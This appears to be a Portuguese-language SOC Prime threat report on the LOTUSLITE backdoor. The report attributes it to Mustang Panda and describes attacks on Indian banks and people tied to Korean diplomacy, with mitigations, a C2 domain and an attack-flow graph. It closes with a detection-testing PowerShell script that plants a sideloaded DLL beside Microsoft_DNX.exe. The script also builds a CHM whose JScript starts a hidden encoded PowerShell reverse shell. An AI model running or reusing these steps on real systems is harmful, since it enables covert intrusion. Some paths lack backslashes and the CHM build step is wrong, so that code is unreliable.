SOC Prime Bias: Crítico

22 Apr 2026 15:58 UTC

Mesmo pacote, magia diferente: Mustang Panda ataca o setor bancário da Índia e a geopolítica da Coreia

Author Photo
SOC Prime Team linkedin icon Seguir
Mesmo pacote, magia diferente: Mustang Panda ataca o setor bancário da Índia e a geopolítica da Coreia
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A Unidade de Pesquisa de Ameaças da Acronis descobriu uma nova variante de backdoor LOTUSLITE que visa organizações no setor bancário da Índia e indivíduos ligados a assuntos diplomáticos da Coreia do Sul. O malware é implantado por meio de carregamento lateral de DLL, aproveitando um executável legítimo assinado pela Microsoft para carregar uma biblioteca maliciosa, depois se comunicando com um servidor de comando e controle baseado em DNS dinâmico através de HTTPS. Com base em padrões de infraestrutura e sobreposições de técnicas, os pesquisadores atribuíram a atividade ao Mustang Panda com confiança moderada.

Investigação

Os analistas examinaram um arquivo CHM malicioso, um carregador baseado em JavaScript, e um Microsoft_DNX.exe binário que carregava lateralmente uma DLL contendo a carga útil do LOTUSLITE. Sua análise revelou atualizações nas funções exportadas, convenções de nomenclatura de mutex, comutadores de linha de comando, valores mágicos de pacotes e métodos de resolução de API. A equipe também vinculou a operação a campanhas anteriores do Mustang Panda através de domínios geridos por Dynu reutilizados e infraestrutura de IP associada.

Mitigação

Os defensores devem impedir o carregamento não autorizado de DLLs em executáveis assinados pela Microsoft confiáveis, monitorar os padrões de mutex identificados e argumentos de linha de comando modificados, e aplicar controles rigorosos em torno do tráfego DNS dinâmico. As equipes de segurança também devem detectar o valor mágico de pacote distinto 0xB2EBCFDF e observar modificações suspeitas no HKCU Chave de Execução que possam indicar persistência.

Resposta

Se essa atividade for detectada, isole imediatamente o sistema impactado, termine o processo malicioso e remova a DLL carregada lateralmente e o executável abusado do disco. A memória deve ser capturada para análise forense, credenciais expostas devem ser revogadas, e os domínios de comando e controle identificados e o endereço IP devem ser bloqueados. Uma busca mais ampla também deve ser executada em todo o ambiente para os artefatos de persistência baseados em mutex e no registro vinculados à campanha.

"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Ação</b> – <b>T1566.001 Anexo de Spearphishing</b><br/>Arquivo CHM (Compiled HTML Help) malicioso enviado por e-mail."] class action_initial_access action file_chm["<b>Arquivo</b> – <b>Nome</b>: Request_for_Support.chm<br/><b>Tipo</b>: Compiled HTML Help"] class file_chm file action_user_execution["<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b><br/>A vítima abre o CHM, acionando o JavaScript embutido."] class action_user_execution action action_obfuscation["<b>Ação</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b><br/>O JavaScript solta um executável assinado pela Microsoft e uma DLL maliciosa usando ActiveX e HTML oculto."] class action_obfuscation action file_ms_dnx["<b>Arquivo</b> – <b>Nome</b>: Microsoft_DNX.exe<br/><b>Assinatura</b>: Assinado pela Microsoft"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Nome</b>: DLL variante LotusLite<br/><b>Tipo</b>: Biblioteca de Link Dinâmico"] class file_lotuslite malware action_embedded_payloads["<b>Ação</b> – <b>T1027.009 Cargas Úteis Embutidas</b><br/>CHM contém JavaScript (music.js) que extrai e executa a DLL e o EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Ação</b> – <b>T1218 Execução de Proxy de Binário de Sistema</b><br/>Microsoft_DNX.exe executa proxy da DLL maliciosa via LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Ação</b> – <b>T1127 Execução de Proxy de Ferramentas de Desenvolvedor Confiáveis</b><br/>Abuso do Microsoft_DNX.exe, uma ferramenta confiável de runtime .NET, para executar o backdoor."] class action_trusted_dev_utilities action action_script_proxy["<b>Ação</b> – <b>T1216 Execução de Proxy de Script de Sistema</b><br/>JavaScript embutido atua como um proxy de script para abrir o executável."] class action_script_proxy action action_hijack_execution["<b>Ação</b> – <b>T1574.005 Seqüestro do Fluxo de Execução</b><br/>Carregamento lateral de DLL ao colocar uma DLL maliciosa com o mesmo nome no diretório do executável."] class action_hijack_execution action action_persistence["<b>Ação</b> – <b>T1547.014 Execução de Inicialização ou Logon</b><br/>O Active Setup escreve uma chave de Execução em HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Comando e Controle</b><br/>Implante contata o domínio dinâmico-DNS editor.gleeze.com sobre HTTPS."] class command_and_control process %% Connections showing attack flow action_initial_access –>|entrega| file_chm file_chm –>|aberto pela vítima| action_user_execution action_user_execution –>|aciona| action_obfuscation action_obfuscation –>|solta| file_ms_dnx action_obfuscation –>|solta| file_lotuslite file_ms_dnx –>|usado em| action_system_binary_proxy file_ms_dnx –>|usado em| action_trusted_dev_utilities action_system_binary_proxy –>|carrega| file_lotuslite action_trusted_dev_utilities –>|executa| file_lotuslite action_user_execution –>|executa| action_script_proxy action_script_proxy –>|lança| file_ms_dnx action_obfuscation –>|permite| action_embedded_payloads action_embedded_payloads –>|fornece| action_hijack_execution action_hijack_execution –>|facilita| action_persistence action_persistence –>|estabelece| command_and_control "

Fluxo de Ataque

Simulação de Execução

Pré-requisito: O Check preliminar de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e ter como objetivo gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos de Ataque:

    1. Estágio DLL maliciosa:

      • O invasor copia uma DLL maliciosa (lotuslite.dll) no mesmo diretório que o legítimo Microsoft_DNX.exe. Esta DLL contém a carga útil do backdoor.
    2. Execute o carregamento lateral de DLL via Microsoft_DNX.exe:

      • Ao iniciar Microsoft_DNX.exe sem argumentos, o Windows carrega a DLL maliciosa primeiro (devido ao sequestro da “ordem de busca”), executando o backdoor.
    3. Crie CHM malicioso:

      • Um arquivo CHM (evil.chm) é criado contendo JavaScript que, ao ser renderizado, lança um shell reverso em PowerShell.
    4. Acione JavaScript via hh.exe:

      • O invasor executa hh.exe evil.chm, fazendo com que o executável de Ajuda HTML parse o CHM e execute o script embutido, alcançando execução de código sob um binário assinado.

    Essa sequência gera dois eventos distintos de Criação de Processo Sysmon que coincidem com as condições da regra de detecção.

  • Script de Teste de Regressão:

    # -------------------------------------------------------------------------
    # Simulação LotusLite – carregamento lateral de DLL + execução CHM via hh.exe
    # -------------------------------------------------------------------------
    # Pré-requisitos:
    #   - Sysmon instalado e encaminhando logs.
    #   - Privilégios de administrador (necessário para escrita em Arquivos de Programas).
    
    $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
    $dnxDir  = Split-Path $dnxPath -Parent
    
    # 1. Implantar DLL maliciosa (carga simulada)
    $malDllSource = "C:Templotuslite.dll"      # <-- substituir pelo caminho real da carga
    $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
    Copy-Item -Path $malDllSource -Destination $malDllDest -Force
    
    # 2. Iniciar Microsoft_DNX.exe para acionar o carregamento lateral de DLL
    Write-Host "[*] Iniciando Microsoft_DNX.exe para carregamento lateral de DLL..."
    Start-Process -FilePath $dnxPath -WindowStyle Hidden
    
    # 3. Criar CHM malicioso contendo JavaScript (exemplo simplificado)
    $chmPath = "C:Tempevil.chm"
    $htmlContent = @"
    <HTML><HEAD>
    <SCRIPT language=`"JScript`">
    var shell = new ActiveXObject("WScript.Shell");
    shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
    </SCRIPT>
    </HEAD><BODY></BODY></HTML>
    "@
    
    $tempHtml = "C:Tempevil.html"
    $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
    
    # Use makecab para empacotar o HTML em um CHM (requer ferramentas SDK do Windows)
    $makeCab = "$env:WINDIRsystem32makecab.exe"
    & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
    
    # 4. Execute o CHM via hh.exe
    Write-Host "[*] Iniciando hh.exe no CHM malicioso..."
    Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
    
    # Limpar arquivos temporários (manter DLL maliciosa para análise pós-execução)
    Remove-Item $tempHtml -Force
    Write-Host "[*] Simulação completa."
  • Comandos de Limpeza:

    # -------------------------------------------------------------------------
    # Limpeza para Simulação LotusLite
    # -------------------------------------------------------------------------
    $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
    $dnxDir  = Split-Path $dnxPath -Parent
    $malDllDest = Join-Path $dnxDir "lotuslite.dll"
    $chmPath = "C:Tempevil.chm"
    
    # Remover DLL maliciosa
    if (Test-Path $malDllDest) {
        Remove-Item $malDllDest -Force
        Write-Host "[*] Removida DLL maliciosa."
    }
    
    # Remover CHM
    if (Test-Path $chmPath) {
        Remove-Item $chmPath -Force
        Write-Host "[*] Removido CHM malicioso."
    }
    
    # Opcionalmente terminar processos persistentes (se houver)
    Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "[*] Limpeza concluída."